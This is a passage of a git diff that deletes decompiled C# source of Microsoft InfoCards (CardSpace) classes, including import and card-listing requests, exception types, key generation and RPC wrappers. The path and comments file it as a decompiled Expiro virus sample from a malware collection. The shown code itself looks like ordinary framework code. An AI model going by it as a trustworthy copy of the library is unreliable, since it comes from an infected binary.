this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - this.Cleanup(false, true); - try - { - try - { - using (FileStream fileStream = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - this.m_roamingFile.ReadFrom(this.m_passphrase, reader); - this.ParentRequest.SetContext(this.m_roamingFile); - } - } - } - catch (ImportException ex) - { - throw; - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PasswordValidationException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.Cleanup(false, true); - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(ex.Message)); - } - finally - { - this.Cleanup(true, false); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - if (this.m_roamingFile != null) - { - if (this.m_roamingFile.Cards.Count != 0) - { - try - { - binaryWriter.Write(this.m_roamingFile.Cards.Count); - for (int index = 0; index < this.m_roamingFile.Cards.Count; ++index) - { - binaryWriter.Flush(); - this.m_roamingFile.Cards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - return; - } - catch (Exception ex) - { - this.Cleanup(true, true); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - } - binaryWriter.Write(0); - } - finally - { - connection.Close(); - } - } - - private void Cleanup(bool clearPwd, bool clearRoamingFile) - { - if (clearRoamingFile) - { - if (this.m_roamingFile != null) - this.m_roamingFile.Clear(); - if (this.ParentRequest != null) - this.ParentRequest.ClearContext(); - } - if (!clearPwd) - return; - this.m_passphrase = (string) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListDependantCardsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListDependantCardsRequest.cs deleted file mode 100644 index 9cab709e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListDependantCardsRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListDependantCardsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ListDependantCardsRequest : UIAgentRequest - { - private Uri m_selfIssuedCardId; - private List m_allCards = new List(); - - public ListDependantCardsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_selfIssuedCardId = new Uri(Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode))); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_supportauth", new object[1] - { - (object) 2 - })); - if (dataRowList == null || dataRowList.Count == 0) - return; - for (int index = 0; index < dataRowList.Count; ++index) - { - byte[] dataField = dataRowList[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - foreach (TokenCreationParameter creationParameter in infoCard.CreationParameters) - { - if (creationParameter.CredentialType == TokenFactoryCredentialType.SelfIssuedCredential && Utility.CompareByteArrays(Convert.FromBase64String(creationParameter.CredentialSelectors[CredentialSelectorType.SelfIssuedCardIdSelector].GetStringWithoutNullTerminator()), Utility.CreateHash(infoCard.IssuerIdentifierAsBytes, this.m_selfIssuedCardId))) - this.m_allCards.Add(infoCard); - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - if (this.m_allCards != null) - { - writer.Write(this.m_allCards.Count); - foreach (InfoCard allCard in this.m_allCards) - Utility.SerializeUri(writer, allCard.Id); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LocalIdCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LocalIdCollection.cs deleted file mode 100644 index 2603e365..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LocalIdCollection.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LocalIdCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class LocalIdCollection - { - private SortedList m_inner; - - public LocalIdCollection() => this.m_inner = new SortedList(); - - public void Add(int item) - { - if (this.m_inner.ContainsKey(item)) - return; - this.m_inner.Add(item, item); - } - - public void Clear() => this.m_inner.Clear(); - - public int Count => this.m_inner.Count; - - public void Filter(LocalIdCollection itemsToKeep) - { - for (int index = this.m_inner.Count - 1; index >= 0; --index) - { - if (!itemsToKeep.m_inner.ContainsKey(this.m_inner.Keys[index])) - this.m_inner.RemoveAt(index); - } - } - - public IList Keys => this.m_inner.Keys; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LogoValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LogoValidationException.cs deleted file mode 100644 index f39e9f2b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LogoValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LogoValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class LogoValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413879; - - public LogoValidationException() - : base(-1073413879) - { - } - - public LogoValidationException(string message) - : base(-1073413879, message) - { - } - - public LogoValidationException(string message, Exception inner) - : base(-1073413879, message, inner) - { - } - - protected LogoValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413879, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ManageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ManageRequest.cs deleted file mode 100644 index 25b1316f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ManageRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ManageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ManageRequest : ClientUIRequest - { - public ManageRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Manage, ExceptionList.AllNonFatal) - { - if (0L != inArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceRequestBufferLengthInvalid"))); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - try - { - this.StartAndWaitForUIAgent(); - } - catch (UserCancelledException ex) - { - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MaxSessionCountExceededException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MaxSessionCountExceededException.cs deleted file mode 100644 index 0afefe55..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MaxSessionCountExceededException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MaxSessionCountExceededException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class MaxSessionCountExceededException : InfoCardBaseException - { - private const int HRESULT = -1073413865; - - public MaxSessionCountExceededException() - : base(-1073413865) - { - } - - public MaxSessionCountExceededException(string message) - : base(-1073413865, message) - { - } - - public MaxSessionCountExceededException(string message, Exception inner) - : base(-1073413865, message, inner) - { - } - - protected MaxSessionCountExceededException(SerializationInfo si, StreamingContext sc) - : base(-1073413865, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MergeConflictCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MergeConflictCallback.cs deleted file mode 100644 index 36c21e99..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/MergeConflictCallback.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MergeConflictCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal delegate int MergeConflictCallback(DataRow local, DataRow incomingData); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMcppMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMcppMethods.cs deleted file mode 100644 index 28072d0f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMcppMethods.cs +++ /dev/null @@ -1,1186 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMcppMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using \u003CCppImplementationDetails\u003E; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class NativeMcppMethods - { - private NativeMcppMethods() - { - } - - public static unsafe byte[] X931KeyGenWrapper( - byte[] Xp1ByteArray, - byte[] Xp2ByteArray, - byte[] Xq1ByteArray, - byte[] Xq2ByteArray, - byte[] XpByteArray, - byte[] XqByteArray, - int publicExponent, - ref KeyGenRestartCodes restartCode) - { - byte* numPtr = (byte*) 0; - uint length1 = 0; - byte[] destination = (byte[]) null; - X931_restart_t x931RestartT = (X931_restart_t) 0; - int length2 = Xp1ByteArray.Length; - int length3 = XpByteArray.Length; - \u003CModule\u003E.AssertInternal(true, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 130, false); - \u003CModule\u003E.AssertInternal(length2 == Xp2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 131, false); - \u003CModule\u003E.AssertInternal(length2 == Xq1ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 132, false); - \u003CModule\u003E.AssertInternal(length2 == Xq2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 133, false); - \u003CModule\u003E.AssertInternal(length3 == XpByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 134, false); - \u003CModule\u003E.AssertInternal(length3 == XqByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 135, false); - IntPtr num1 = IntPtr.Zero; - IntPtr num2 = IntPtr.Zero; - IntPtr num3 = IntPtr.Zero; - IntPtr num4 = IntPtr.Zero; - IntPtr num5 = IntPtr.Zero; - IntPtr num6 = IntPtr.Zero; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - num1 = Marshal.AllocHGlobal(length2); - num2 = Marshal.AllocHGlobal(length2); - num3 = Marshal.AllocHGlobal(length2); - num4 = Marshal.AllocHGlobal(length2); - num5 = Marshal.AllocHGlobal(length3); - num6 = Marshal.AllocHGlobal(length3); - Marshal.Copy(Xp1ByteArray, 0, num1, length2); - Marshal.Copy(Xp2ByteArray, 0, num2, length2); - Marshal.Copy(Xq1ByteArray, 0, num3, length2); - Marshal.Copy(Xq2ByteArray, 0, num4, length2); - Marshal.Copy(XpByteArray, 0, num5, length3); - Marshal.Copy(XqByteArray, 0, num6, length3); - int error = \u003CModule\u003E.InfoCardKeyGenX931((uint) length2, (byte*) num1.ToPointer(), (byte*) num2.ToPointer(), (byte*) num3.ToPointer(), (byte*) num4.ToPointer(), (uint) length3, (byte*) num5.ToPointer(), (byte*) num6.ToPointer(), (uint) publicExponent, &numPtr, &length1, &x931RestartT); - restartCode = (KeyGenRestartCodes) x931RestartT; - if (0 == error) - { - try - { - if (KeyGenRestartCodes.X931RestartNone == restartCode) - { - \u003CModule\u003E.AssertInternal(0U != length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 194, false); - destination = new byte[(int) length1]; - Marshal.Copy(new IntPtr((void*) numPtr), destination, 0, (int) length1); - } - else - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 204, false); - } - finally - { - \u003CModule\u003E.InfoCardKeyGenZeroAndFree(numPtr, length1); - } - return destination; - } - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 219, false); - throw new Win32Exception(error); - } - finally - { - if (IntPtr.Zero != num1) - { - uint num7 = (uint) length2; - sbyte* pointer = (sbyte*) num1.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num7; - } - while (num7 != 0U); - } - Marshal.FreeHGlobal(num1); - } - if (IntPtr.Zero != num2) - { - uint num8 = (uint) length2; - sbyte* pointer = (sbyte*) num2.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num8; - } - while (num8 != 0U); - } - Marshal.FreeHGlobal(num2); - } - if (IntPtr.Zero != num3) - { - uint num9 = (uint) length2; - sbyte* pointer = (sbyte*) num3.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num9; - } - while (num9 != 0U); - } - Marshal.FreeHGlobal(num3); - } - if (IntPtr.Zero != num4) - { - uint num10 = (uint) length2; - sbyte* pointer = (sbyte*) num4.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num10; - } - while (num10 != 0U); - } - Marshal.FreeHGlobal(num4); - } - if (IntPtr.Zero != num5) - { - uint num11 = (uint) length3; - sbyte* pointer = (sbyte*) num5.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num11; - } - while (num11 != 0U); - } - Marshal.FreeHGlobal(num5); - } - if (IntPtr.Zero != num6) - { - uint num12 = (uint) length3; - sbyte* pointer = (sbyte*) num6.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num12; - } - while (num12 != 0U); - } - Marshal.FreeHGlobal(num6); - } - } - } - - public static unsafe uint InfoCardStartRpcServerWrapper( - string uiAgentFullPath, - IntPtr rpcCallbacks) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(uiAgentFullPath); - return \u003CModule\u003E.InfoCardStartRpcServer((ushort*) hglobal.ToPointer(), (_RPCCALLBACKS*) rpcCallbacks.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static uint InfoCardStopRpcServerWrapper() => \u003CModule\u003E.InfoCardStopRpcServer(); - - public static uint AdjustPrivilegesWrapper([MarshalAs(UnmanagedType.U1)] bool isTabletPC) => \u003CModule\u003E.AdjustPrivileges(isTabletPC); - - public static unsafe uint 